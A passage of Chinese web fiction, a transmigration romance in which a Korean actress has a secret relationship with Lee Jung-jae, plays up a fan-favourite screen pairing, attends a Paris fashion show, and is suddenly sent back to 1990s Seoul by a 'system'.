细支的香烟显得他的手更加细长，在异国工作的烦闷、和女友之间的感情都沉浸在烟雾中，柔和的青烟削弱他面部五官的攻击性。 淡淡的巧克力和尼古丁混合的味道，没有让他像棉花一样堵住胸口的憋闷心情好受。手指不自觉的拨通了对方的视频电话，看到手机左上角时间图标提示的凌晨，他才恍然发现这个时间不合适。 下一秒，电话被接通了，宋玉妍有些憔悴的脸出现在他的手机框里。看背景像是在赶夜戏，远处大灯像是一轮月亮静止在她的身后。 看到她之后，李正宰不安的心脏忽然安定了下来。 “欧巴，稍等一下，我戴一下耳机。” 在她找耳机的空隙中，不断有工作人员搬着各种器材从她身后路过。纷纷扰扰的环境中，她柔和的面容是唯一清晰的。 “好了，欧巴怎么这么晚还没有睡？”她因为疲惫有些沙哑的声音顺着电流响起。 李正宰有些内疚，他……是不是打扰到宋玉妍休息了。赶夜戏有多累，圈内人都知道，况且还是电视剧这种边拍边播赶进度的项目。 他掩藏起自己的负面情绪，嘴角勾出一丝笑容。“我们明天不用拍摄，准备逛逛上海，你有什么喜欢的？” “我问的是欧巴为什么不睡，不是明天的计划。”宋玉妍像是有些不满，凑近盯着他的眼睛，像是想要把屏幕盯穿。 他是恋人，两人之间有着最亲密的关系。但作为年上的伴侣，他有责任为这段感情承担更多，包括满足对方物质上的一些要求、提供情绪价值、以及不传递负面情绪。 “就是突然有些想你了。” 李正宰有些无奈，对上宋玉妍炽热的眼眸，还是吞吞吐吐地说出一半的真相。 “这样啊。”她好像没有刨根问底的意思，只是话锋一转。“欧巴知道自己什么时候最帅气吗？” 想到她对《新世界》这部电影的偏爱。李正宰猜测了一番，回答道：“在《新世界》里饰演李子成的时候？” 因为不确定，尾音微微上扬，没有了一如既往的低沉暗哑。 “宋玉妍xi、宋玉妍xi，下一幕到你了，马上准备。” 导演的催促声通过喇叭传过来。跟组的cody不知道从那个角落里窜了出来，在她的脸上涂涂抹抹。崔玉珍连忙把她身上的羽绒服脱下，露出里面的戏服。 被这一连串的动作弄得有些急迫的宋玉妍，也不自觉地动作紧迫起来。 “欧巴，等我们下次见面再告诉你哦。” line的界面突然熄灭，只留下把烟身放在烟灰缸旁边的李正宰，火星不客气地吞噬到了烟嘴。 视频被挂断，他猝不及防，嘴上虽然轻声说了句“莫呀”。但原本无名焦躁的情绪得到了缓解。 李正宰从黑色的烟盒里，重新抽出一支香烟，放进嘴里点燃，吞吐的动作比之前轻快了不少。 抽完这支，他就去睡觉了，一夜好梦。睡醒起来，洗漱时发现，宋玉妍给他发了长长的一段话。 「欧巴，男人在不确定自己被爱的时候最帅气，但是我不想你这种帅气持续太久。我们之间经历过很多、错过了很多，既然如此那就好好在 一起吧……除了你之外，我从未想过能和其他男人步入婚姻。」 看到这段话，本来还有些困意的男人瞬间清醒了。刷完牙，把电动牙刷归置好。 李正宰看着镜子里的眼神，比他出演《沙漏情人》时还要温柔，忍不住把手指压到眼尾上。 原来真正爱意，是不需要演技的修饰，自然而然就能流露出来。 “你最近这也太累了，要不要休息一下。”来片场探班的裴永俊，忍不住劝劝宋玉妍。 能够让资本家都不忍心下狠手压榨，只能说明这段时间她是真的工作太久了。 “代表nim什么时候连钱都不要了？”宋玉妍笑了笑，她刚结束一个剧内的广告物料拍摄。看到拿着花的自家老板，忍不住又笑了出来，这次裴永俊带了两束。 终于不用被金秀闲的粉丝审判，甚至为了端水，两束花一模一样。不管是主花还是培华的数量都一样，甚至就连包装的颜色都是一样的。 “你这每天都只睡五个小时，不害怕猝死吗？”他是想赚钱，但也不想自家摇钱树早早枯萎。 之前宋玉妍摸鱼摸地他脾气都给磨没了，突然又是站台、商务、拍摄，又是跟组的，弄得裴永俊一时间很不习惯。 “很多爱豆回归期的行程不都是这样吗？” “爱豆是爱豆，演员是演员。”裴永俊也是圈内阶级那一套的拥护者，不认为爱豆能和演员比。 “金秀闲xi呢？”宋玉妍没有看到男主，干脆让助理去把他喊过来。代表过来探班，还是要好好表现的。 等人来了之后，裴永俊把花束分别递给两人。有金秀闲在，他的话就冠冕堂皇多了。 “作家和导演对你们都很满意，你们私下也多亲近亲近，该营业营业。争取今年拿到sbs年度最佳cp。” 感情归感情、生意归生意，他努力忽视自己内心的那丝不自在。 “内！”金秀闲还是那副不会说漂亮话的木讷样子。 他的经纪人在旁边恨铁不成钢地看着他，要不是这小子运气好。靠着《拥抱太阳的月亮》这部迷你剧火了，就这性格，后续公司也不会给他喂这么多资源。 “赚了这么多钱，代表nim也没有什么奖励啊。”宋玉妍倒是能和老板开开玩笑，半真半假地抱怨着。 裴永俊瞪了她一样，就是看起来没什么杀伤力。给她换住所不要，天天把衣服放公司。他在寸土寸金的CBD给她腾出一间化妆室专门放东西。 拍应援咖啡车的认证照之后，就散了。叫住快要溜走的宋玉妍，裴永俊开口道：“香奈儿邀请你看2014秋冬时装秀，你最近好好准备一下，尤其注意一下私服穿搭。” 时尚icon的人设容易立，但是想要维持很难。艺人不能保证出现在大众面前时，时时刻刻都是光鲜亮丽的。 第123章 第一百二十三章 “时装周？” 以她一个三个月香水代言人的身份，应该拿不到这种蓝血品牌的看秀入场券。宋玉妍知道公司恐怕在里面出了不少力，看来这段时间辛苦工作还是有回报的。 “代表nim，康桑思密达。”她认真地看着裴永俊，眼睛里满是诚恳。嘴角勾起的弧度，比夹翘起来像太阳花的眼睫毛还要明媚。 “感谢就不用了，这是公司应该做的。”他从包里拿出一份补充协议，“分成可以改，但是你要把这份恋爱协定签了。” “签约的时候不是说演员拥有恋爱自由吗？”宋玉妍目光微微一顿，眼睛里划过一丝惊讶。 “那是之前，现在公司就指望你和金秀闲后续的cp合体赚钱。你要是这一年公开恋情，这会让经纪公司产生损失。” 虽然这份协议其他的股东也同意，但是裴永俊还是有他自己的私心。垂在大腿外侧的手指用力故作自然地延伸，眼镜遮掩住他眼底的情绪，嘴角挂着属于商人般柔和的笑容。 「再试探最后一次吧。」裴永俊状似为宋玉妍考虑般地开口道：“只是一年不能公开而已，恋爱的话随便你谈。李正宰xi应该也知道30岁对于女演员意味着什么吧！” 言下之意就是，让他忍忍这一年，不要发作姐夫瘾。 “他对我的演员事业一向都是支持的，只是……” “不签也没事，只是到时候爆雷了，品牌方和公司的违约金都要你来赔偿。你确定他会帮你兜底？” 他把文件合上，紧紧地拽住，纸张的边缘被他抓出明显的褶皱。不知道是因为艺人会损害公司利益而生气，还是因为她对感情“油盐不进”的态度而生气。 宋玉妍叹口气，还是选择签下这份文件，有公司站在她这边的话，至少好能帮忙挡一挡狗仔。 签完字之后，她像是随口一说：“我还想到时候和李正宰xi一起去看秀，肆意挥洒才华的卡尔，他的秀是看一场少一场了。” 听到这话的裴永俊，只觉得西装裤边上的手，几乎用力到要把指甲印摁进骨头里。 “是吗？你就这么喜欢吗？” 后面的那句话几乎轻不可闻，但还是被宋玉妍捕捉到了。 她的像是在回答又像是在拒绝他，“是啊，我们的缘分从东国的时侯开始。到现在为止，都没有见过哪一年的初雪，比那一年更美。” 空气像是被包裹地严严实实，一丝声音也听不清。只有体内血液流动的声音清晰可闻，两人看着彼此，一时静默。 裴永俊率先离开，背影显得仓皇而匆忙。“要是你当时考上的是成均馆大学就好……” 他和李正宰算是对照组，两人出生的年份一致，步入演艺圈的时间也差不多。他籍籍无名的时候，对方已经出演大热剧了，等他火大日本，李正宰已经在忠武路站稳脚跟。 这样隐秘的比较心理，一直到他收购了keyeast公司，上市之后才平衡。直到两人同时都遇到了宋玉妍…… 这句消散在风里的话没有人能听清，就消散在了风中。 《来自星星的你》成为亚洲现象级的爆火剧，开放式的结局也引来诸多剧粉的意难平。 宋玉妍每每和金秀闲一起携手出席活动的时侯，不管是粉丝还是工作人员，都是一副嗑cp的模样。 金秀闲刚开始还会有些不适应，明明那个吻是由宋玉妍开始的。她每每像是没事人一样地营业只留下他一个人兵荒马乱。 在镜头前她可以作出一切暧昧举动，牵手、拥抱、帮他整理衣领、喂他喝水…… 但镜头一关，这些都和那个吻一样，虎头蛇尾没有下文了。她又重新退回到了那副漠不关心的同事关系，好像一切都是金秀闲的错觉。 杀青这天，他有些如释重负地舒了一口气，终于不用维持着一个月见31次面的频率了。这段拍摄对于他来说是煎熬、是折磨、是痛苦、是内心不断反复拉扯后撕成碎片。 接过经纪人手中的花束，金秀闲整个人仿佛还沉浸在戏里。都敏俊回到了自己的家乡后，还能通过彗星来见千颂伊，那他呢…… “金秀闲xi，恭喜杀青。”宋玉妍像往常一样凑到了他身边，只是这一次不再为花絮能够录到足够的“糖点”。 “谢谢。”任由内心翻涌成海，他的面上还是古井无波的那副模样。 “从今天开始，亚洲将会刮起一阵《星你》风，你准备好了吗？” 看着她踌躇满志、笑意盈盈的面容，金秀闲忍不住吐露出内心话：“一开拍戏，我只是想要自己的脸出现在荧幕上，让那位好好看看，我的成就不会比他差。” 宋玉妍当然知道他说的那位是谁，圈子里面混的这么惨的星二代也只有这一个了。 “后面我想攒钱，对于大学生来说，片酬虽然不高，但也比便利店的兼职性价比高上许多。现在我也只想好好拍戏，留下属于自己的角色。” 原本一直木讷的人居然能说出这样的一番话，这让宋玉妍吃惊到水杯都放了下来。她安安静静地聆听着，向来不善言辞的人都内秀其中。 “我没有你这样崇高的目标，现在只想能够站到最顶端，看看这些景色。想要试试是不是爆红之后，身边所有的人都会变成所谓的好人。”她抬起保温杯，抿了一口温水说道。 想到在她来这个世界之前，原主试戏受到的冷遇，其他人的奚落，她的心脏就涌起一股莫名的难受。 看着差不多境遇的金秀闲，宋玉妍毫不犹豫地提议道：“我们去吃炸**！韩式炸鸡，然后配啤酒，虽然现在已经没有雪了，但暮冬也还是吃炸鸡配啤酒的好时候。” 金秀闲看着 人来人往的剧组，所有人在他的玻璃体里都成了虚影。冬日黄昏的日光落下，在这片平地上无差别地挥洒着暮光。呈现出一种瑰丽又荒凉的景色，风吹来干爽、寒冷的冷空气，把他吹回了神。 “好啊。” 炸鸡店的落地窗内，两个人点了啤酒，看着窗外的街景，大大方方地把口罩取下，脸都露了出来。 店员在准备拿过菜单的时侯，认出了两人，惊喜地询问是否可以签名和合照。 《来自星星的你》带火的不只是男女主两人剧中的穿搭，还有初雪必须配炸鸡啤酒。虽然初雪已经过去，但还是有情侣来打卡，更何况她还是剧粉。 宋玉妍看着寻常的纸张，让她金秀闲在上面签名有些暴殄天物。从包里拿出拍立得，“要不我们用这个合照，然后再一起给你签名吧。” 以后逐渐淡出娱乐圈，这样的签名应该会变少，更何况是和金秀闲一起签的。 这样独一份的隐藏款当然不会有人拒绝，店员忙不迭地点头，两人围着她拍照的时侯，激动的人都快要昏过去了。 拿好照片之后，她回过身来说道：“宋玉妍xi你比剧里还要好看，完全就是水灵灵一样的美貌。” 至于金秀闲，虽然帅气，但是没有帅到出乎他的预料。 “谢谢。” 她回复完粉丝，就开始专注于食物了，这家的炸鸡味道真的很不错。 面包糠裹着的外皮酥脆、里面的鸡肉鲜嫩多汁。搭配韩式酸甜口的辣酱，简直就是追剧必备。 “当时我们拍一起吃炸鸡的那场戏份，明明都换过很多盒，但是没有一块是进我们嘴里的。”宋玉妍一边就着啤酒的小麦气，感受着气泡在嘴里迸发的感觉，一边随意和他闲聊。 “是啊。”金秀闲也戴起来透明手套，伸向一块鸡翅的地方。“那天的初雪让导演心疼经费。” “还有还有，当时在大学里看着你说千颂伊的论文是抄袭，我差点就笑出声了。金秀闲xi！你不太适合做老师！” “莫？” “过于帅气的脸蛋，会给学生的听课带来困扰。” 上课的时候大家都看脸去了，谁还会认真听课啊。 —— 两人有一搭没一搭地聊着，好像单纯地只是为了满足剧中，“初雪”那天没有吃到炸鸡的遗憾而已。 鸡骨头堆叠在废弃的盒子里，啤酒也被喝掉了一半。 “为什么不能是我？” 宋玉妍以为他不会问出这个问题，拍摄期间对方对她避之不及的态度，她也看在眼里。 “我们想要的不一样，都给不了对方现在想要的。” 听到这句他的手捻紧了，骨节十分明显地凸显了出来，随后又无力地放开。拿起一块鸡腿，炸物的香气飘荡在不大的空间里。 金秀闲不得不承认她说的对，现在的他既不像裴永俊一样跻身于资本的行列，也不如李正宰在忠武路这一代留下了自己的姓名。 “我吃好了，你慢慢来。”宋玉妍像是单纯地和朋友约个饭而已，抄起旁边的浅色围巾、包包就走。 围巾被她粗略地系在脖颈上，黑色的菱格纹包被她单手甩在右肩上，垂下的链条上坠着一个小金球，随着她的动作一动一动。 她转过身，“对了，这单你买，就不AA了。” —— 和李正宰约好一起去看秀是早就决定好了的，为此宋玉妍推掉了一部分商务。他则以身体受到了一些伤害，要修养一些时间向剧组请了假。 伤是真的，想要陪女友一起去看秀也是真的。 宋玉妍没有从首尔直飞到巴黎，而是选择去上海中转。虽然这样会累一些，但能和李正宰相处的时间更长。 第124章 第一百二十四章 香奈儿秀场，宋玉妍和李正宰都坐在侧面第二排的长凳上。 韩国艺人在顶奢品牌这里自然得不到特别好的待遇，正对t台的位置是留给国际影响力高艺人、著名时尚编辑、品牌vic的。 本来两人之间的位置，还隔了一个不认识的国外艺人，但李正宰主动和她换了位置。 “欧巴，刚刚那套情侣套装看起来很不错，我们要不要定一套，到时候一起穿？” 李正宰带着墨镜，他的位置像是在角落边缘的角落边缘里，加上一身黑色的短款西装，除了胸口处的白色山茶花作为点缀，再没有其他的亮色了。 这让本就在不起眼位置的男人，看起来更加不起眼了，就连镁光灯都不光顾此处。 “当然可以，不过……你不是说签了恋爱协议吗？”这样光明正大地穿情侣装，不会带来什么麻烦吗？ 他是真的改变了不少，如果说之前的喜欢，是一厢情愿地给予，不顾宋玉妍到底是否需要。而如今的爱意是藏于内的克制，让他处事开始瞻前顾后。 “只是不能公开而已，要是真的绯闻传得沸沸扬扬，到时候公司出来否认就好。”宋玉妍无所谓地耸了耸肩。 还是做演员好，在个人感情这一块，自主性比爱豆大了不少。 一个个模特从他们面前穿过，货架上昂贵的物品把这一季的服装衬托地更具日常气息。这一季的主题，老佛爷把巴黎的百货搬到了秀场上，每一件商品都是真实的。 一场15分钟的秀很快就走完了，在灯光全部亮起的那一刻，全场爆发出雷鸣般的掌声。 这是对这位时尚天才最高敬意，时尚界需要这样天马行空又恢宏大气的秀场。总要有先驱者去探索，艺术这一领域的无限可能。 宋玉妍等闭场完毕之后，没有选择和李正宰分开走，而是把手上的黑色菱格纹包给他。 自己挽着他的手臂，慢悠悠地穿过人群。afterparty他们自然没有拿到入场券，不是每一个韩国艺人都是GD，能够得到老佛爷的另眼相待。 在出秀场之后，有韩国的时尚媒体蹲守，看到熟悉的面容，记者毫不犹豫地举起话筒过来做个简单的采访。 每年时装周，杂志都会外派团队，过来做一期专访。除了和艺人约好固定的采访，也会随机采访一些其他的路人。 没想到这次居然能蹲到一个熟悉的面孔，记者作为韩国人，她当然认出来宋玉妍了。这张脸都要把今年sbs电视台给刷屏了，每打开一部电视剧，都有她的出演。 宋玉妍看到记者的到来之后，松开了李正宰的臂弯，给他打了个眼色，示意他先去前面等一下。 “宋玉妍xi，没想到今年能在巴黎时装周看到你，请问这次你也是受到了香奈儿的邀请吗？”记者有些疑惑，没有看到对方有这个行程，就连看秀的出发照都没在官网上发出来。 难道是媒体的公关票吗？ “内！因为这次想要好好感受时装周的氛围。”她拨了拨盘在脑后，松溢出来的几缕碎发。 “能够受邀参加这次的看秀，有什么感受吗？” “大概是很激动吧，香奈儿作为世界上最顶 尖的品牌，能够得到入场券，在现场感受这样一场艺术和时尚盛宴，是我的荣幸。” 她嘴上虽然这样说，但是表情完全不是这样，看起来可以算得上一句平静。每看一眼记者都会微微昂起头，把视线穿过熙熙攘攘的人群，看向远处的李正宰。 回答问题时显得有些心不在焉，但被掩饰的很好。 他也回望过来对视，夜风撩动着他的头发，眼神像是在说：不着急，慢慢来。 “那可以介绍你今天这身搭配吗？”记者按部就班地提问道。 “当然，我今天选择的依旧是是香奈儿的经典黑裙，不同于经典的剪裁，腰部有着设计感十足的单侧抓褶，我很喜欢。搭配珍珠项链，简单又不失大气的风格，诠释着香奈儿的经典美学。” “大发，这一身完全就是人间香奈儿！”记者得到她的同意后，让摄影师给她拍摄了几张街拍图。 宋玉妍的时尚表现力很足，就算是简单的姿势，在硬照里也能随意抓住人眼球。 巴黎市中心的夜晚，因为时装周的到来更加喧嚣，她在结束采访之后继续挽着李正宰的手臂。 夜晚的巴黎就如同海明威所说的那样，像是一场流动的盛宴。两人慢慢悠悠地逛到了塞纳河畔，远处的埃菲尔铁，塔在星星点点的金黄色灯光的点缀下，显得格外动人。 法国人自带的松弛，让行人的步伐都像是不疾不徐般地优雅。 也许是气氛太好，也许是风太温柔。在一个温和的路灯下，宋玉妍停下了脚步，身边的男人跟着停下了步伐疑惑地看着她。 下一刻，她踮起了脚尖，柔软的手臂环住李正宰的脖颈，带着木梨和葡萄柚的味道吻上了他。 初春的亲吻也就如初春那般美好，带着海洋的气息和丝丝情意，像是最好庄园酿的葡萄酒。 李正宰一时没有反应过来，他的外套披在宋玉妍的身上。现在她却从不保暖的布料中，把手臂露了出来。 他的第一反应是，她这样不会感冒吧。 嘴巴上像是粘着胶水，他以一个比较艰难的姿势把滑落的西装往上拉了拉，尽量多遮住一点她裸露的肌肤。 然后用力地回吻了过去，地上两人的影子互相依偎，被拉得很长很长。 等结束这个突如其来的吻之后，宋玉妍往后挪了一步，有些不好意思地垂着头。嘴上的艳红像是开到荼靡的玫瑰花瓣，碾成了花泥敷在唇上。 “嘿，不用害羞，这里是巴黎，浪漫之都，每时每刻都在发生罗曼蒂克。” 鼓掌的人群里传出这样的一声法语。他们谁都没有听懂，但不约而同地相视而笑。 （完） —— 「我再也不嗑cp了，居然连星你夫妇都是假的。」 「我一直认为这两人是真的，如果演技这么好，金秀闲和宋玉妍都可以打包去忠武路，两人一起拿明年的青龙影帝影后。」 「kkk，要是真的拿到了，怎么不算是另一种HE呢？」 「我不信、我不信！宋玉妍每次都喜欢逗金秀闲。他眼里暗藏的克制爱意，怎么可能会是假的？」 「宋玉妍，我恨你一辈子，明明一起站台了那么多商业活动、拍摄了那么多海报、代言了那么多产品，我在等你们的官宣申明。结果你15年1月1号和李正宰官宣？拿到最佳cp奖的第八天你就和别人官宣？」 「再信这些银幕情侣的鬼话我就是狗，难怪sbs年末庆典结束后的采访上说：和金秀闲不会有可能、他不是最合适的人选。」 「当时我看到这段采访，还以为两人只是明面上避嫌。公司老板裴永俊，才是那个棒打鸳鸯的。」 「当时记者拿着这话，去问金秀闲怎么看？那一瞬间，我觉得他都要碎了。经历过那么多次采访，但还是沉默了那么久，明明几个小时前还一起走红毯、一起甜蜜拿奖。」 「是的！女方太狠心了，和李正宰谈了那么久，居然还和他炒cp。」 「你们不知道她就是靠炒cp起家的吗，能是什么好东西？」 「楼上闭嘴好吧，我们是花了钱的cp粉，自然能骂骂她两句。你是什么成分？」 神通广大的网友，把宋玉妍和李正宰的时间线都给扒了出来。读大学的时侯碰到偶然回校的前辈，被大势忠武路演员一见钟情，相处一年之后确认了关系，然后分手、破镜重圆。 「我看到隔壁楼整理的时间线和物料，真的……不知道该怎么说。好像被这两人当狗在玩……」 「但是这样的情节真的不是偶像剧吗？感觉有编剧会要授权，然后把这两人的故事改编一下。」 「怎么说呢，比漫画还没有逻辑。要是一本漫画的女主，被圈内资深前辈一见钟情。两人分手之后，男方主动求复合，甚至还被迫忍了一年的地下恋情，我都要骂画家没有脑子。这根本不符合韩男的基本逻辑。」 「还真的出了漫画，隔壁的《演员之路》简直就是借鉴了他们两个百分之九十九的原型，虽然只更了一章。」 「感觉像是李正宰花钱请画手画的，不是有小道消息说他很讨厌金秀闲吗？就是因为嗑他和宋玉妍的粉丝太多。」 …… “欧巴，都官宣了你还有什么好生气的？”宋玉妍把他的头掰了过来，认真看着他有些无奈。 “金秀闲那小子，为什么能和你有这么多cp粉？”这话简直就是他咬着后槽牙问出来的，这段时间看论坛上的血雨腥风，他的后槽牙不算好。 之前有过很多男艺人和她产生过cp粉，包括但不限于徐仁果、裴永俊、金宇斌，偏偏他看金秀闲最不爽。 “大概是因为《来自星星的你》太火了吧！等我们一起演部剧，可能就会好一些。”宋玉妍靠在他的肩膀上安抚他。 “你干脆去编剧协会，找个b级编剧，让人给你量身定制一个剧本好了。”坐在餐客厅的郑宇盛一边咔嚓咔嚓地咬着苹果，一边不怀好意地出了个馊主意。 李正宰没有说话，只是一味地在自己的手机上敲敲打打。现在联系编剧太慢了，他干脆直接让画家把两人之间的爱情故事画出来。 第125章 第一百二十五章裴永俊 刚参加完清潭洞jimmychoo旗舰店开业的宋玉妍，脚一滑感觉有些不对。 她整个人的身体向下坠了下去，一瞬间自身的重力好像被放大了无数倍。幸好扭脚的时候没有台阶，不至于把损伤扩大化。 抬起头，她好不容易拉着旁边的扶手，整个人支棱起来，才觉得有些不对。 江南区这一片不都是奢侈品的旗舰店，会有这么破的地方吗？ 满是灰尘的水泥路，绿化也只稀稀疏疏地种了几棵小树苗，碎裂的砖头堆积在不远处的路边。时间好像都不偏爱这里，除了面前的高楼，再没有像样的建筑。 这里好像被笼罩上了一层灰扑扑的滤镜，呈现出一股衰败的气息。 宋玉妍看着路上行人怀旧的穿搭，在心里吐槽道：这次是给她甩到庆尚南道来了吗？怎么大众穿搭这么复古怀旧，虽然整洁，但就和她看到的街景一样暗沉。 在她看这个世界有些异样时，路上寥寥无几的行人看她也觉得怪异。 这样浓郁又迤逦的水波蓝色裙子，在经历过金融危机的韩国，已经很少看到了。花苞一样的裙摆垂落着星星装饰，她站在那里，亭亭而立，和灰暗的环境形成鲜明的对比。 这样的朝气蓬勃，让人不禁想起那个“汉江奇迹”的时代。只如今…… 「系统？系统？你在吗？」 没有得到答复，宋玉妍只能皱着眉毛，拖着有些疼痛的脚踝先进面前这栋建筑。 不对劲、哪里都不太对劲。 门口的保安一开始没有仔细看她，进来的女人发尾上甚至都沾染灰土，显得很是狼狈。 “你赶紧离开，收粉丝 信的地方在西门那边。蹲艺人上班路在外面蹲，不要进来打扰员工的正常工作。” 保安对于这种破坏他工作的粉丝，自然没什么好感，语气硬邦邦地，带着明显的不耐烦。 等宋玉妍转过身来，露出整体的面容后，他先是微微楞了一下，忽然觉得自己的语气太差。 “您也是今天参与录制的艺人吧！怎么会一个人来，助理和经纪人呢？”面对好看的人，他挂起了笑容，语气也柔和了下来。 对啊！她们人呢，宋玉妍也疑惑了，从包里翻到最新款的手机。为了保护自己的隐私，只是在包里摁亮了一下屏幕，看到右上角的标识没有任何信号，虽然心里疑窦丛生，但也没有觉得有什么不对劲。 毕竟之前也不是没有出现过这样的情况，苹果手机信号就像是薛定谔的猫。 “您先在那边的房间坐下，等您的工作人员过来找您吧，估计有事情被绊住了。” 宋玉妍很容易接受了这个方案，她还是先不要乱跑，再怎么说也是知名艺人。 “这里有电话吗？我给她们打个电话。” “房间里面有的，我们也是要联系各个部门。” 对于保安不认识她这件事情，她心中的疑虑被扩大了。自从《星你》爆火亚洲之后，韩国应该很少有不认识她的人。但也许……对方并不关注娱乐圈呢？总要允许不追星的人存在。 等到了保安说的，他们的那个值班室之后。宋玉妍毫不犹豫地拨通了自己经纪人李智真的电话，电流传来一直滴的声音。 她打了三四个之后，知道李智真的私人号码应该是设置陌生人免打扰模式。 直到崔玉珍、李正宰的电话都打不通，宋玉妍有些慌张，她咬着嘴唇看向红色的听筒。 「系统，你在吗？」 脑海中没有回应，连陪伴这么久的电子产品都不知所踪。巨大的恐慌向宋玉妍袭来，如潮水一样想要将她溺死。 她隐隐约约有些猜测，但是不敢接受真相，它就像是被覆盖了一层薄膜，不敢让人戳破。好像……又是孤身一人了…… Jimmychoo的礼服在玻璃窗上反着光，呈现出一种缎面珍珠式的光泽。她看着上面的倒影，有些不知所措，但还是抱着一丝微弱的希望。 大厅里面突然闪过一个熟悉的身影，宋玉妍隔着玻璃还以为自己看错了。揉了揉眼睛，推开窗户仔细一看，发现完全没有认错。 “社长nim！”在这个怪异的环境里遇到熟悉的人，这冲淡了她心里提示的怪异感。 宋玉妍也无暇顾及裴永俊看起来像是年轻了十几岁的面容。也忽视宽大不修身的意式西服，早就被追寻潮流的韩式剪裁所抛弃。 莫名的不安感，让她把裴社当成了暂时的锚点。 准备进去录制综艺的裴永俊看了看四周，没有发现其他人，只能指了指自己的鼻尖。 “是在叫我吗？” “对啊，社长nim，我经纪人居然把我的电话都给拦了，你要扣她一天饭补。”宋玉妍没有说出，她记不住李智真的工作号码。 “你认错人了吧，我只是一个小小演员，怎么可以扣你经纪人的工资？况且我都不认识你。”裴永俊回忆了一遍，实在无法把她和记忆里的任何一个人对应起来。 长成这样，就算是只有一面之缘的路人，他应该也会有印象。他心里划过一丝异样，她怎么知道自己想要创办经纪公司的。 “不可能，你就是我的老板nim，我不会认错的。凭借《初恋》拿下韩剧最高收视率，准备退圈进入成均馆大学学习时，是MBC极力邀请你出演《情定大饭店》……” 裴永俊的脸顿时就黑了，恨不得上手捂住她的嘴。 《情定大饭店》这个项目确实是在和他接洽，也是MBC的重点剧。这可不能在这大庭广众下大大咧咧地漏出来，就算这个资源他不想接，不意味着能容忍别人下手抢。 这个时候，他还是对面前这个女人的身份产生了怀疑，只觉得是对家派过来专门搞他的。 裴永俊退后了两步，默默拉远了两人之间的距离。不然很怕，她一激动，裙摆上垂吊着的星星装饰甩到他裤腿上。 他嘴角勾起一抹笑容，眼睛弯出狐狸眼的弧度。虽然是笑着的，笑意却不达眼底，里面是一片淡漠和冷静。裴永俊双手抱胸，这是标准防御的姿态。他现在只想把这个奇奇怪怪的人拉到私密的空间，妥善处理好。 “要不先去我待机室慢慢聊？” 听到这话的宋玉妍松了口气，只觉得自家社长之前都是和她在开玩笑。虽然不明白为什么会出现待机室这个称呼，但还是默默跟上去。 也许是有社长推脱不了的活动，主办方特意给他准备的。 等到了待机室之后，一如既往的怀旧复古风，装潢像是停滞在上一个世纪的设置。能在崇尚西方的韩国，保留这样古旧的装饰，真的不太容易。 还有，相对于自家社长的地位，这个房间是不是太小了！ 里面坐着一个很眼熟的男人，欲言又止地看了裴永俊好几眼。宋玉妍一时间没有想起来在哪里见过他，也就当他不存在了。 “裴永俊xi，你和这位小姐聊天注意一下时间。等会录制不要迟到，要给制作人留下一个好印象……” 这样老派又不省略的韩语，用了这么多训民正音，这是老古董吧。引得宋玉妍看了他好多眼。 直到把人看不自在，默默吞下剩下的碎碎念，关上房间门为止。 “说说吧，你是从哪里得来的消息？”裴永俊松弛又紧绷地坐在椅子上。 知道他在接触《情定大饭店》消息的人，不过一手之数。更何况他从未和人提及过，想要退圈深造的念头。 宋玉妍：？？？ 今天社长怎么这么奇怪，就像是吃错了药一样。难道是因为讨好具副会长，努力学习潜水，让海水进了脑子？ “算了……”她叹了口气，就先不和自家社长纠结这个了。“你先帮我联系一下李正宰吧，我的手机没有了信号。” 虽然不理解，但他还是想看她耍什么花样。裴永俊“好心”地从包里翻出号码本，然后掏出一个流行过一阵的bb机包。 宋玉妍也拿这种包做过时尚单品，马卡龙的色系看起来很温柔。但裴永俊的这个就有些不对劲了，朴实无华的黑色，上面甚至还系着红绳。 看起来简直……就像是上世纪的遗物。 社长他……好像真的疯了，就算是要立潮流复古人设，也不至于这样彻底吧！ 他从小包里拿出最新款的三星白色翻盖手机，甚至还是带拍照功能的，这也算是独一份的潮流了。 “翻到了！”裴永俊立刻拨了过去，只想揭穿她的“阴谋”。要是对方不认识李正宰，那他完全可以压她一筹，掌握谈话的主动权。 等那边的铃声 响着，一直没有人接起来。他想起之前经纪人和他提过一嘴，李正宰在三个月就去服兵役了，手机应该被没收了。 他引以为傲的聪明，在宋玉妍面前好像溃不成军。 “李正宰xi在9月就入伍了，你是在开玩笑吗？” 宋玉妍：“啊？” 韩国新出了服两次义务兵役的规定吗？甚至43岁的中年人还要再强制入伍一次？ 她是这样想的，也这样问出来。 裴永俊怪异地看了她一眼，只觉得自己把时间浪费在这种人身上蛮好笑的。 “当然没有，大韩民国向来都只是一次义务兵役。”这种强度的服役，就算是财阀进去服两次，都不一定能活着回来。 “李正宰xi和我是同年，今年也才28周岁而已。” 他准备独自离开这间待机室，去准备录制。而这个奇奇怪怪的女人，就让她留在这里，爱怎么样怎么样吧。 第126章 第一百二十六章 “28周岁？”宋玉妍低头重复呢喃了一句，有些不可置信。但环境的骤然变化和第六感告诉她，这并非不可能。 裴永俊看起来不像是在说笑的样子。原本习惯性上翘的嘴角，回到了最原本的弧度，扯平的唇线显得格外冷淡。 他也是疯了，居然听这样一个陌生人说这么多不着边际的话语，明明还有很多事情在等着他处理。 都怪对方的这张脸，他不着痕迹地打量了她的这张脸，轻松能够达到演艺圈的标准。这样明媚大气的长相，是现在电视剧最钟爱的女主相。 等经纪人敲门催促，裴永俊才收回这些不着边际的想法，离开时又深深地看了她一眼，然后才把门合上。 等看到裴永俊离开待机室之后，宋玉妍费力地从水晶手提包里，和包底嵌的严丝合缝的手机掏出来。 按亮屏幕之后，信号的表示依旧是一个叉，主界面上的时间现实还是在15年7月。 宋玉妍看着窗外，身处这一片唯一的高楼向外眺望，周边的景色一览无余。 这里……更像是一个沙洲，远处的汉江静水流深。江上似乎有施工，岸边不断有工人正在把钢材搬来搬去，起重机的轮毂陷在泥地里，启动的有些困难。 这里不像是首尔的中心区域江南，倒像是没有开发过的汝矣岛。 「宿主，你还好吗？」刚连接上的系统有些小心翼翼地问道，电流的不稳定让电子音听起来壳壳卡卡。 「你怎么现在才出来？你给我扔90年代的韩国来了？」 「你不是说要抽财阀千金的身份吗？为了抽这个身份，我把能量都用光了。」 系统有些心虚，上个世界为了玩单机游戏耗费了太多的能量，不足以让宿主直接进入下一个世界。 现在时空坐标出了差错，给人扔平行世界来了。 宋玉妍：…… 「那现在怎么办？在这里我相当于一个黑户，没有身份我怎么租房？」 她的语气听起来情绪很稳定，想的是该如何先解决问题。当务之急就是解决落脚点的问题，还有就是该怎么谋生。 